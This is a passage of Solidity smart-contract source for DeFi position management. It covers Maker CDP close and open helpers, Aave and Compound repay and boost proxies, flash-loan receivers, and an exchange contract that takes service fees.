function getLoanAmount(uint _cdpId, address _joinAddr) public view virtual returns(uint loanAmount) {
bytes32 ilk = manager.ilks(_cdpId);
(, uint rate,,,) = vat.ilks(ilk);
(, uint art) = vat.urns(ilk, manager.urns(_cdpId));
uint dai = vat.dai(manager.urns(_cdpId));
uint rad = sub(mul(art, rate), dai);
loanAmount = rad / RAY;
loanAmount = mul(loanAmount, RAY) < rad ? loanAmount + 1 : loanAmount;
}
function close(
uint _cdpId,
address _joinAddr,
uint _loanAmount,
uint _collateral
) public {
address owner = getOwner(manager, _cdpId);
bytes32 ilk = manager.ilks(_cdpId);
(uint maxColl, ) = getCdpInfo(manager, _cdpId, ilk);
// repay dai debt cdp
paybackDebt(_cdpId, ilk, _loanAmount, owner);
maxColl = _collateral > maxColl ? maxColl : _collateral;
// withdraw collateral from cdp
drawMaxCollateral(_cdpId, _joinAddr, maxColl);
// send back to msg.sender
if (_joinAddr == ETH_JOIN_ADDRESS) {
msg.sender.transfer(address(this).balance);
} else {
ERC20 collToken = ERC20(getCollateralAddr(_joinAddr));
collToken.transfer(msg.sender, collToken.balanceOf(address(this)));
}
}
function open(
uint _cdpId,
address _joinAddr,
uint _debtAmount
) public {
uint collAmount = 0;
if (_joinAddr == ETH_JOIN_ADDRESS) {
collAmount = address(this).balance;
} else {
collAmount = ERC20(address(Join(_joinAddr).gem())).balanceOf(address(this));
}
if (_cdpId == 0) {
openAndWithdraw(collAmount, _debtAmount, address(this), _joinAddr);
} else {
// add collateral
addCollateral(_cdpId, _joinAddr, collAmount);
// draw debt
drawDai(_cdpId, manager.ilks(_cdpId), _debtAmount);
}
// transfer to repay FL
ERC20(DAI_ADDRESS).transfer(msg.sender, ERC20(DAI_ADDRESS).balanceOf(address(this)));
if (address(this).balance > 0) {
tx.origin.transfer(address(this).balance);
}
}
function openAndWithdraw(uint _collAmount, uint _debtAmount, address _proxy, address _joinAddrTo) internal {
bytes32 ilk = Join(_joinAddrTo).ilk();
if (_joinAddrTo == ETH_JOIN_ADDRESS) {
MCDCreateProxyActions(OPEN_PROXY_ACTIONS).openLockETHAndDraw{value: address(this).balance}(
address(manager),
JUG_ADDRESS,
ETH_JOIN_ADDRESS,
DAI_JOIN_ADDRESS,
ilk,
_debtAmount,
_proxy
);
} else {
ERC20(getCollateralAddr(_joinAddrTo)).approve(OPEN_PROXY_ACTIONS, uint256(-1));
MCDCreateProxyActions(OPEN_PROXY_ACTIONS).openLockGemAndDraw(
address(manager),
JUG_ADDRESS,
_joinAddrTo,
DAI_JOIN_ADDRESS,
ilk,
_collAmount,
_debtAmount,
true,
_proxy
);
}
}
function drawMaxCollateral(uint _cdpId, address _joinAddr, uint _amount) internal returns (uint) {
manager.frob(_cdpId, -toPositiveInt(_amount), 0);
manager.flux(_cdpId, address(this), _amount);
uint joinAmount = _amount;
if (Join(_joinAddr).dec() != 18) {
joinAmount = _amount / (10 ** (18 - Join(_joinAddr).dec()));
}
Join(_joinAddr).exit(address(this), joinAmount);
if (_joinAddr == ETH_JOIN_ADDRESS) {
Join(_joinAddr).gem().withdraw(joinAmount); // Weth -> Eth
}
return joinAmount;
}
}
contract AaveSaverProxy is GasBurner, SaverExchangeCore, AaveHelper {
address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126;
uint public constant VARIABLE_RATE = 2;
function repay(ExchangeData memory _data, uint _gasCost) public payable burnGas(20) {
address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore();
address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool();
address payable user = payable(getUserAddress());
uint256 maxCollateral = getMaxCollateral(_data.srcAddr, address(this));
// don't swap more than maxCollateral
_data.srcAmount = _data.srcAmount > maxCollateral ? maxCollateral : _data.srcAmount;
// redeem collateral
address aTokenCollateral = ILendingPool(lendingPoolCore).getReserveATokenAddress(_data.srcAddr);
IAToken(aTokenCollateral).redeem(_data.srcAmount);
uint256 destAmount = _data.srcAmount;
if (_data.srcAddr != _data.destAddr) {
// swap
(, destAmount) = _sell(_data);
destAmount -= getFee(destAmount, user, _gasCost, _data.destAddr);
} else {
destAmount -= getGasCost(destAmount, user, _gasCost, _data.destAddr);
}
// payback
if (_data.destAddr == ETH_ADDR) {
ILendingPool(lendingPool).repay{value: destAmount}(_data.destAddr, destAmount, payable(address(this)));
} else {
approveToken(_data.destAddr, lendingPoolCore);
ILendingPool(lendingPool).repay(_data.destAddr, destAmount, payable(address(this)));
}
// first return 0x fee to msg.sender as it is the address that actually sent 0x fee
sendContractBalance(ETH_ADDR, tx.origin, min(address(this).balance, msg.value));
// send all leftovers from dest addr to proxy owner
sendFullContractBalance(_data.destAddr, user);
DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "AaveRepay", abi.encode(_data.srcAddr, _data.destAddr, _data.srcAmount, destAmount));
}
function boost(ExchangeData memory _data, uint _gasCost) public payable burnGas(20) {
address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore();
address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool();
(,,,,,,,,,bool collateralEnabled) = ILendingPool(lendingPool).getUserReserveData(_data.destAddr, address(this));
address payable user = payable(getUserAddress());
uint256 maxBorrow = getMaxBorrow(_data.srcAddr, address(this));
_data.srcAmount = _data.srcAmount > maxBorrow ? maxBorrow : _data.srcAmount;
// borrow amount
ILendingPool(lendingPool).borrow(_data.srcAddr, _data.srcAmount, VARIABLE_RATE, AAVE_REFERRAL_CODE);
uint256 destAmount;
if (_data.destAddr != _data.srcAddr) {
_data.srcAmount -= getFee(_data.srcAmount, user, _gasCost, _data.srcAddr);
// swap
(, destAmount) = _sell(_data);
} else {
_data.srcAmount -= getGasCost(_data.srcAmount, user, _gasCost, _data.srcAddr);
destAmount = _data.srcAmount;
}
if (_data.destAddr == ETH_ADDR) {
ILendingPool(lendingPool).deposit{value: destAmount}(_data.destAddr, destAmount, AAVE_REFERRAL_CODE);
} else {
approveToken(_data.destAddr, lendingPoolCore);
ILendingPool(lendingPool).deposit(_data.destAddr, destAmount, AAVE_REFERRAL_CODE);
}
if (!collateralEnabled) {
ILendingPool(lendingPool).setUserUseReserveAsCollateral(_data.destAddr, true);
}
// returning to msg.sender as it is the address that actually sent 0x fee
sendContractBalance(ETH_ADDR, tx.origin, min(address(this).balance, msg.value));
// send all leftovers from dest addr to proxy owner
sendFullContractBalance(_data.destAddr, user);
DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "AaveBoost", abi.encode(_data.srcAddr, _data.destAddr, _data.srcAmount, destAmount));
}
}
contract CompoundLoanInfo is CompoundSafetyRatio {
struct LoanData {
address user;
uint128 ratio;
address[] collAddr;
address[] borrowAddr;
uint[] collAmounts;
uint[] borrowAmounts;
}
struct TokenInfo {
address cTokenAddress;
address underlyingTokenAddress;
uint collateralFactor;
uint price;
}
struct TokenInfoFull {
address underlyingTokenAddress;
uint supplyRate;
uint borrowRate;
uint exchangeRate;
uint marketLiquidity;
uint totalSupply;
uint totalBorrow;
uint collateralFactor;
uint price;
}
address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public constant CETH_ADDRESS = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5;
/// @notice Calcualted the ratio of coll/debt for a compound user
/// @param _user Address of the user
function getRatio(address _user) public view returns (uint) {
// For each asset the account is in
return getSafetyRatio(_user);
}
/// @notice Fetches Compound prices for tokens
/// @param _cTokens Arr. of cTokens for which to get the prices
/// @return prices Array of prices
function getPrices(address[] memory _cTokens) public view returns (uint[] memory prices) {
prices = new uint[](_cTokens.length);
address oracleAddr = comp.oracle();
for (uint i = 0; i < _cTokens.length; ++i) {
prices[i] = CompoundOracleInterface(oracleAddr).getUnderlyingPrice(_cTokens[i]);
}
}
/// @notice Fetches Compound collateral factors for tokens
/// @param _cTokens Arr. of cTokens for which to get the coll. factors
/// @return collFactors Array of coll. factors
function getCollFactors(address[] memory _cTokens) public view returns (uint[] memory collFactors) {
collFactors = new uint[](_cTokens.length);
for (uint i = 0; i < _cTokens.length; ++i) {
(, collFactors[i]) = comp.markets(_cTokens[i]);
}
}
/// @notice Fetches all the collateral/debt address and amounts, denominated in usd
/// @param _user Address of the user
/// @return data LoanData information
function getLoanData(address _user) public view returns (LoanData memory data) {
address[] memory assets = comp.getAssetsIn(_user);
address oracleAddr = comp.oracle();
data = LoanData({
user: _user,
ratio: 0,
collAddr: new address[](assets.length),
borrowAddr: new address[](assets.length),
collAmounts: new uint[](assets.length),
borrowAmounts: new uint[](assets.length)
});
uint collPos = 0;
uint borrowPos = 0;
for (uint i = 0; i < assets.length; i++) {
address asset = assets[i];
(, uint cTokenBalance, uint borrowBalance, uint exchangeRateMantissa)
= CTokenInterface(asset).getAccountSnapshot(_user);
Exp memory oraclePrice;
if (cTokenBalance != 0 || borrowBalance != 0) {
oraclePrice = Exp({mantissa: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(asset)});
}
// Sum up collateral in Usd
if (cTokenBalance != 0) {
Exp memory exchangeRate = Exp({mantissa: exchangeRateMantissa});
(, Exp memory tokensToUsd) = mulExp(exchangeRate, oraclePrice);
data.collAddr[collPos] = asset;
(, data.collAmounts[collPos]) = mulScalarTruncate(tokensToUsd, cTokenBalance);
collPos++;
}
// Sum up debt in Usd
if (borrowBalance != 0) {
data.borrowAddr[borrowPos] = asset;
(, data.borrowAmounts[borrowPos]) = mulScalarTruncate(oraclePrice, borrowBalance);
borrowPos++;
}
}
data.ratio = uint128(getSafetyRatio(_user));
return data;
}
function getTokenBalances(address _user, address[] memory _cTokens) public view returns (uint[] memory balances, uint[] memory borrows) {
balances = new uint[](_cTokens.length);
borrows = new uint[](_cTokens.length);
for (uint i = 0; i < _cTokens.length; i++) {
address asset = _cTokens[i];
(, uint cTokenBalance, uint borrowBalance, uint exchangeRateMantissa)
= CTokenInterface(asset).getAccountSnapshot(_user);
Exp memory exchangeRate = Exp({mantissa: exchangeRateMantissa});
(, balances[i]) = mulScalarTruncate(exchangeRate, cTokenBalance);
borrows[i] = borrowBalance;
}
}
/// @notice Fetches all the collateral/debt address and amounts, denominated in usd
/// @param _users Addresses of the user
/// @return loans Array of LoanData information
function getLoanDataArr(address[] memory _users) public view returns (LoanData[] memory loans) {
loans = new LoanData[](_users.length);
for (uint i = 0; i < _users.length; ++i) {
loans[i] = getLoanData(_users[i]);
}
}
/// @notice Calcualted the ratio of coll/debt for a compound user
/// @param _users Addresses of the user
/// @return ratios Array of ratios
function getRatios(address[] memory _users) public view returns (uint[] memory ratios) {
ratios = new uint[](_users.length);
for (uint i = 0; i < _users.length; ++i) {
ratios[i] = getSafetyRatio(_users[i]);
}
}
/// @notice Information about cTokens
/// @param _cTokenAddresses Array of cTokens addresses
/// @return tokens Array of cTokens infomartion
function getTokensInfo(address[] memory _cTokenAddresses) public returns(TokenInfo[] memory tokens) {
tokens = new TokenInfo[](_cTokenAddresses.length);
address oracleAddr = comp.oracle();
for (uint i = 0; i < _cTokenAddresses.length; ++i) {
(, uint collFactor) = comp.markets(_cTokenAddresses[i]);
tokens[i] = TokenInfo({
cTokenAddress: _cTokenAddresses[i],
underlyingTokenAddress: getUnderlyingAddr(_cTokenAddresses[i]),
collateralFactor: collFactor,
price: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(_cTokenAddresses[i])
});
}
}
/// @notice Information about cTokens
/// @param _cTokenAddresses Array of cTokens addresses
/// @return tokens Array of cTokens infomartion
function getFullTokensInfo(address[] memory _cTokenAddresses) public returns(TokenInfoFull[] memory tokens) {
tokens = new TokenInfoFull[](_cTokenAddresses.length);
address oracleAddr = comp.oracle();
for (uint i = 0; i < _cTokenAddresses.length; ++i) {
(, uint collFactor) = comp.markets(_cTokenAddresses[i]);
CTokenInterface cToken = CTokenInterface(_cTokenAddresses[i]);
tokens[i] = TokenInfoFull({
underlyingTokenAddress: getUnderlyingAddr(_cTokenAddresses[i]),
supplyRate: cToken.supplyRatePerBlock(),
borrowRate: cToken.borrowRatePerBlock(),
exchangeRate: cToken.exchangeRateCurrent(),
marketLiquidity: cToken.getCash(),
totalSupply: cToken.totalSupply(),
totalBorrow: cToken.totalBorrowsCurrent(),
collateralFactor: collFactor,
price: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(_cTokenAddresses[i])
});
}
}
/// @notice Returns the underlying address of the cToken asset
/// @param _cTokenAddress cToken address
/// @return Token address of the cToken specified
function getUnderlyingAddr(address _cTokenAddress) internal returns (address) {
if (_cTokenAddress == CETH_ADDRESS) {
return ETH_ADDRESS;
} else {
return CTokenInterface(_cTokenAddress).underlying();
}
}
}
contract CompoundCreateReceiver is FlashLoanReceiverBase, SaverExchangeCore {
ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8);
ShifterRegistry public constant shifterRegistry = ShifterRegistry(0x2E82103bD91053C781aaF39da17aE58ceE39d0ab);
address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address payable public constant WALLET_ADDR = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08;
address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F;
// solhint-disable-next-line no-empty-blocks
constructor() public FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) {}
/// @notice Called by Aave when sending back the FL amount
/// @param _reserve The address of the borrowed token
/// @param _amount Amount of FL tokens received
/// @param _fee FL Aave fee
/// @param _params The params that are sent from the original FL caller contract
function executeOperation(
address _reserve,
uint256 _amount,
uint256 _fee,
bytes calldata _params)
external override {
// Format the call data for DSProxy
(address payable proxyAddr, bytes memory proxyData, ExchangeData memory exchangeData)
= packFunctionCall(_amount, _fee, _params);
// Swap
(, uint sellAmount) = _sell(exchangeData);
// DFS fee
getFee(sellAmount, exchangeData.destAddr, proxyAddr);
// Send amount to DSProxy
sendToProxy(proxyAddr, exchangeData.destAddr);
address compOpenProxy = shifterRegistry.getAddr("COMP_SHIFTER");
// Execute the DSProxy call
DSProxyInterface(proxyAddr).execute(compOpenProxy, proxyData);
// Repay the loan with the money DSProxy sent back
transferFundsBackToPoolInternal(_reserve, _amount.add(_fee));
// if there is some eth left (0x fee), return it to user
if (address(this).balance > 0) {
// solhint-disable-next-line avoid-tx-origin
tx.origin.transfer(address(this).balance);
}
}
/// @notice Formats function data call so we can call it through DSProxy
/// @param _amount Amount of FL
/// @param _fee Fee of the FL
/// @param _params Saver proxy params
function packFunctionCall(uint _amount, uint _fee, bytes memory _params) internal pure returns (address payable, bytes memory proxyData, ExchangeData memory exchangeData) {
(
uint[4] memory numData, // srcAmount, destAmount, minPrice, price0x
address[6] memory cAddresses, // cCollAddr, cDebtAddr, srcAddr, destAddr, exchangeAddr, wrapper
bytes memory callData,
address proxy
)
= abi.decode(_params, (uint256[4],address[6],bytes,address));
proxyData = abi.encodeWithSignature(
"open(address,address,uint256)",
cAddresses[0], cAddresses[1], (_amount + _fee));
exchangeData = SaverExchangeCore.ExchangeData({
srcAddr: cAddresses[2],
destAddr: cAddresses[3],
srcAmount: numData[0],
destAmount: numData[1],
minPrice: numData[2],
wrapper: cAddresses[5],
exchangeAddr: cAddresses[4],
callData: callData,
price0x: numData[3]
});
return (payable(proxy), proxyData, exchangeData);
}
/// @notice Send the FL funds received to DSProxy
/// @param _proxy DSProxy address
/// @param _reserve Token address
function sendToProxy(address payable _proxy, address _reserve) internal {
if (_reserve != ETH_ADDRESS) {
ERC20(_reserve).safeTransfer(_proxy, ERC20(_reserve).balanceOf(address(this)));
} else {
_proxy.transfer(address(this).balance);
}
}
function getFee(uint _amount, address _tokenAddr, address _proxy) internal returns (uint feeAmount) {
uint fee = 400;
DSProxy proxy = DSProxy(payable(_proxy));
address user = proxy.owner();
if (Discount(DISCOUNT_ADDR).isCustomFeeSet(user)) {
fee = Discount(DISCOUNT_ADDR).getCustomServiceFee(user);
}
feeAmount = (fee == 0) ? 0 : (_amount / fee);
// fee can't go over 20% of the whole amount
if (feeAmount > (_amount / 5)) {
feeAmount = _amount / 5;
}
if (_tokenAddr == ETH_ADDRESS) {
WALLET_ADDR.transfer(feeAmount);
} else {
ERC20(_tokenAddr).safeTransfer(WALLET_ADDR, feeAmount);
}
}
// solhint-disable-next-line no-empty-blocks
receive() external override(FlashLoanReceiverBase, SaverExchangeCore) payable {}
}
contract CompoundSaverFlashLoan is FlashLoanReceiverBase, SaverExchangeCore {
ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8);
address payable public COMPOUND_SAVER_FLASH_PROXY = 0xcEAb38B5C88F33Dabe4D31BDD384E08215526632;
address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public owner;
using SafeERC20 for ERC20;
constructor()
FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER)
public {
owner = msg.sender;
}
/// @notice Called by Aave when sending back the FL amount
/// @param _reserve The address of the borrowed token
/// @param _amount Amount of FL tokens received
/// @param _fee FL Aave fee
/// @param _params The params that are sent from the original FL caller contract
function executeOperation(
address _reserve,
uint256 _amount,
uint256 _fee,
bytes calldata _params)
external override {
// Format the call data for DSProxy
(bytes memory proxyData, address payable proxyAddr) = packFunctionCall(_amount, _fee, _params);
// Send Flash loan amount to DSProxy
sendLoanToProxy(proxyAddr, _reserve, _amount);
// Execute the DSProxy call
DSProxyInterface(proxyAddr).execute(COMPOUND_SAVER_FLASH_PROXY, proxyData);
// Repay the loan with the money DSProxy sent back
transferFundsBackToPoolInternal(_reserve, _amount.add(_fee));
// if there is some eth left (0x fee), return it to user
if (address(this).balance > 0) {
tx.origin.transfer(address(this).balance);
}
}
/// @notice Formats function data call so we can call it through DSProxy
/// @param _amount Amount of FL
/// @param _fee Fee of the FL
/// @param _params Saver proxy params
/// @return proxyData Formated function call data
function packFunctionCall(uint _amount, uint _fee, bytes memory _params) internal pure returns (bytes memory proxyData, address payable) {
(
bytes memory exDataBytes,
address[2] memory cAddresses, // cCollAddress, cBorrowAddress
uint256 gasCost,
bool isRepay,
address payable proxyAddr
)
= abi.decode(_params, (bytes,address[2],uint256,bool,address));
ExchangeData memory _exData = unpackExchangeData(exDataBytes);
uint[2] memory flashLoanData = [_amount, _fee];
if (isRepay) {
proxyData = abi.encodeWithSignature("flashRepay((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256,uint256[2])", _exData, cAddresses, gasCost, flashLoanData);
} else {
proxyData = abi.encodeWithSignature("flashBoost((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256,uint256[2])", _exData, cAddresses, gasCost, flashLoanData);
}
return (proxyData, proxyAddr);
}
/// @notice Send the FL funds received to DSProxy
/// @param _proxy DSProxy address
/// @param _reserve Token address
/// @param _amount Amount of tokens
function sendLoanToProxy(address payable _proxy, address _reserve, uint _amount) internal {
if (_reserve != ETH_ADDRESS) {
ERC20(_reserve).safeTransfer(_proxy, _amount);
}
_proxy.transfer(address(this).balance);
}
receive() external override(SaverExchangeCore, FlashLoanReceiverBase) payable {}
}
contract CompoundSaverFlashProxy is SaverExchangeCore, CompoundSaverHelper {
address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126;
using SafeERC20 for ERC20;
/// @notice Repays the position and sends tokens back for FL
/// @param _exData Exchange data
/// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress]
/// @param _gasCost Gas cost for transaction
/// @param _flashLoanData Data about FL [amount, fee]
function flashRepay(
ExchangeData memory _exData,
address[2] memory _cAddresses, // cCollAddress, cBorrowAddress
uint256 _gasCost,
uint[2] memory _flashLoanData // amount, fee
) public payable {
enterMarket(_cAddresses[0], _cAddresses[1]);
address payable user = payable(getUserAddress());
uint flashBorrowed = _flashLoanData[0] + _flashLoanData[1];
uint maxColl = getMaxCollateral(_cAddresses[0], address(this));
// draw max coll
require(CTokenInterface(_cAddresses[0]).redeemUnderlying(maxColl) == 0);
address collToken = getUnderlyingAddr(_cAddresses[0]);
address borrowToken = getUnderlyingAddr(_cAddresses[1]);
uint swapAmount = 0;
if (collToken != borrowToken) {
// swap max coll + loanAmount
_exData.srcAmount = maxColl + _flashLoanData[0];
(,swapAmount) = _sell(_exData);
// get fee
swapAmount -= getFee(swapAmount, user, _gasCost, _cAddresses[1]);
} else {
swapAmount = (maxColl + _flashLoanData[0]);
swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]);
}
// payback debt
paybackDebt(swapAmount, _cAddresses[1], borrowToken, user);
// draw collateral for loanAmount + loanFee
require(CTokenInterface(_cAddresses[0]).redeemUnderlying(flashBorrowed) == 0);
// repay flash loan
returnFlashLoan(collToken, flashBorrowed);
DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "CompoundRepay", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken));
}
/// @notice Boosts the position and sends tokens back for FL
/// @param _exData Exchange data
/// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress]
/// @param _gasCost Gas cost for specific transaction
/// @param _flashLoanData Data about FL [amount, fee]
function flashBoost(
ExchangeData memory _exData,
address[2] memory _cAddresses, // cCollAddress, cBorrowAddress
uint256 _gasCost,
uint[2] memory _flashLoanData // amount, fee
) public payable {
enterMarket(_cAddresses[0], _cAddresses[1]);
address payable user = payable(getUserAddress());
uint flashBorrowed = _flashLoanData[0] + _flashLoanData[1];
// borrow max amount
uint borrowAmount = getMaxBorrow(_cAddresses[1], address(this));
require(CTokenInterface(_cAddresses[1]).borrow(borrowAmount) == 0);
address collToken = getUnderlyingAddr(_cAddresses[0]);
address borrowToken = getUnderlyingAddr(_cAddresses[1]);
uint swapAmount = 0;
if (collToken != borrowToken) {
// get dfs fee
borrowAmount -= getFee((borrowAmount + _flashLoanData[0]), user, _gasCost, _cAddresses[1]);
_exData.srcAmount = (borrowAmount + _flashLoanData[0]);
(,swapAmount) = _sell(_exData);
} else {
swapAmount = (borrowAmount + _flashLoanData[0]);
swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]);
}
// deposit swaped collateral
depositCollateral(collToken, _cAddresses[0], swapAmount);
// borrow token to repay flash loan
require(CTokenInterface(_cAddresses[1]).borrow(flashBorrowed) == 0);
// repay flash loan
returnFlashLoan(borrowToken, flashBorrowed);
DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "CompoundBoost", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken));
}
/// @notice Helper method to deposit tokens in Compound
/// @param _collToken Token address of the collateral
/// @param _cCollToken CToken address of the collateral
/// @param _depositAmount Amount to deposit
function depositCollateral(address _collToken, address _cCollToken, uint _depositAmount) internal {
approveCToken(_collToken, _cCollToken);
if (_collToken != ETH_ADDRESS) {
require(CTokenInterface(_cCollToken).mint(_depositAmount) == 0);
} else {
CEtherInterface(_cCollToken).mint{value: _depositAmount}(); // reverts on fail
}
}
/// @notice Returns the tokens/ether to the msg.sender which is the FL contract
/// @param _tokenAddr Address of token which we return
/// @param _amount Amount to return
function returnFlashLoan(address _tokenAddr, uint _amount) internal {
if (_tokenAddr != ETH_ADDRESS) {
ERC20(_tokenAddr).safeTransfer(msg.sender, _amount);
}
msg.sender.transfer(address(this).balance);
}
}
contract CompoundSaverProxy is CompoundSaverHelper, SaverExchangeCore {
DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126);
/// @notice Withdraws collateral, converts to borrowed token and repays debt
/// @dev Called through the DSProxy
/// @param _exData Exchange data
/// @param _cAddresses Coll/Debt addresses [cCollAddress, cBorrowAddress]
/// @param _gasCost Gas cost for specific transaction
function repay(
ExchangeData memory _exData,
address[2] memory _cAddresses, // cCollAddress, cBorrowAddress
uint256 _gasCost
) public payable {
enterMarket(_cAddresses[0], _cAddresses[1]);
address payable user = payable(getUserAddress());
uint maxColl = getMaxCollateral(_cAddresses[0], address(this));
uint collAmount = (_exData.srcAmount > maxColl) ? maxColl : _exData.srcAmount;
require(CTokenInterface(_cAddresses[0]).redeemUnderlying(collAmount) == 0);
address collToken = getUnderlyingAddr(_cAddresses[0]);
address borrowToken = getUnderlyingAddr(_cAddresses[1]);
uint swapAmount = 0;
if (collToken != borrowToken) {
(, swapAmount) = _sell(_exData);
swapAmount -= getFee(swapAmount, user, _gasCost, _cAddresses[1]);
} else {
swapAmount = collAmount;
swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]);
}
paybackDebt(swapAmount, _cAddresses[1], borrowToken, user);
// handle 0x fee
tx.origin.transfer(address(this).balance);
// log amount, collToken, borrowToken
logger.Log(address(this), msg.sender, "CompoundRepay", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken));
}
/// @notice Borrows token, converts to collateral, and adds to position
/// @dev Called through the DSProxy
/// @param _exData Exchange data
/// @param _cAddresses Coll/Debt addresses [cCollAddress, cBorrowAddress]
/// @param _gasCost Gas cost for specific transaction
function boost(
ExchangeData memory _exData,
address[2] memory _cAddresses, // cCollAddress, cBorrowAddress
uint256 _gasCost
) public payable {
enterMarket(_cAddresses[0], _cAddresses[1]);
address payable user = payable(getUserAddress());
uint maxBorrow = getMaxBorrow(_cAddresses[1], address(this));
uint borrowAmount = (_exData.srcAmount > maxBorrow) ? maxBorrow : _exData.srcAmount;
require(CTokenInterface(_cAddresses[1]).borrow(borrowAmount) == 0);
address collToken = getUnderlyingAddr(_cAddresses[0]);
address borrowToken = getUnderlyingAddr(_cAddresses[1]);
uint swapAmount = 0;
if (collToken != borrowToken) {
borrowAmount -= getFee(borrowAmount, user, _gasCost, _cAddresses[1]);
_exData.srcAmount = borrowAmount;
(,swapAmount) = _sell(_exData);
} else {
swapAmount = borrowAmount;
swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]);
}
approveCToken(collToken, _cAddresses[0]);
if (collToken != ETH_ADDRESS) {
require(CTokenInterface(_cAddresses[0]).mint(swapAmount) == 0);
} else {
CEtherInterface(_cAddresses[0]).mint{value: swapAmount}(); // reverts on fail
}
// handle 0x fee
tx.origin.transfer(address(this).balance);
// log amount, collToken, borrowToken
logger.Log(address(this), msg.sender, "CompoundBoost", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken));
}
}
contract SaverExchange is SaverExchangeCore, AdminAuth, GasBurner {
using SafeERC20 for ERC20;
uint256 public constant SERVICE_FEE = 800; // 0.125% Fee
// solhint-disable-next-line const-name-snakecase
DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126);
uint public burnAmount = 10;
/// @notice Takes a src amount of tokens and converts it into the dest token
/// @dev Takes fee from the _srcAmount before the exchange
/// @param exData [srcAddr, destAddr, srcAmount, destAmount, minPrice, exchangeType, exchangeAddr, callData, price0x]
/// @param _user User address who called the exchange
function sell(ExchangeData memory exData, address payable _user) public payable burnGas(burnAmount) {
// take fee
uint dfsFee = getFee(exData.srcAmount, exData.srcAddr);
exData.srcAmount = sub(exData.srcAmount, dfsFee);
// Perform the exchange
(address wrapper, uint destAmount) = _sell(exData);
// send back any leftover ether or tokens
sendLeftover(exData.srcAddr, exData.destAddr, _user);
// log the event
logger.Log(address(this), msg.sender, "ExchangeSell", abi.encode(wrapper, exData.srcAddr, exData.destAddr, exData.srcAmount, destAmount));
}
/// @notice Takes a dest amount of tokens and converts it from the src token
/// @dev Send always more than needed for the swap, extra will be returned
/// @param exData [srcAddr, destAddr, srcAmount, destAmount, minPrice, exchangeType, exchangeAddr, callData, price0x]
/// @param _user User address who called the exchange
function buy(ExchangeData memory exData, address payable _user) public payable burnGas(burnAmount){
uint dfsFee = getFee(exData.srcAmount, exData.srcAddr);
exData.srcAmount = sub(exData.srcAmount, dfsFee);
// Perform the exchange
(address wrapper, uint srcAmount) = _buy(exData);
// send back any leftover ether or tokens
sendLeftover(exData.srcAddr, exData.destAddr, _user);
// log the event
logger.Log(address(this), msg.sender, "ExchangeBuy", abi.encode(wrapper, exData.srcAddr, exData.destAddr, srcAmount, exData.destAmount));
}
/// @notice Takes a feePercentage and sends it to wallet
/// @param _amount Dai amount of the whole trade
/// @param _token Address of the token
/// @return feeAmount Amount in Dai owner earned on the fee
function getFee(uint256 _amount, address _token) internal returns (uint256 feeAmount) {
uint256 fee = SERVICE_FEE;
if (Discount(DISCOUNT_ADDRESS).isCustomFeeSet(msg.sender)) {
fee = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(msg.sender);
}
if (fee == 0) {
feeAmount = 0;
} else {
feeAmount = _amount / fee;
if (_token == KYBER_ETH_ADDRESS) {
WALLET_ID.transfer(feeAmount);
} else {
ERC20(_token).safeTransfer(WALLET_ID, feeAmount);
}
}
}
/// @notice Changes the amount of gas token we burn for each call
/// @dev Only callable by the owner
/// @param _newBurnAmount New amount of gas tokens to be burned
function changeBurnAmount(uint _newBurnAmount) public {
require(owner == msg.sender);
burnAmount = _newBurnAmount;
}
}
contract MCDSaverFlashLoan is MCDSaverProxy, AdminAuth, FlashLoanReceiverBase {
ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8);
constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public {}
struct SaverData {
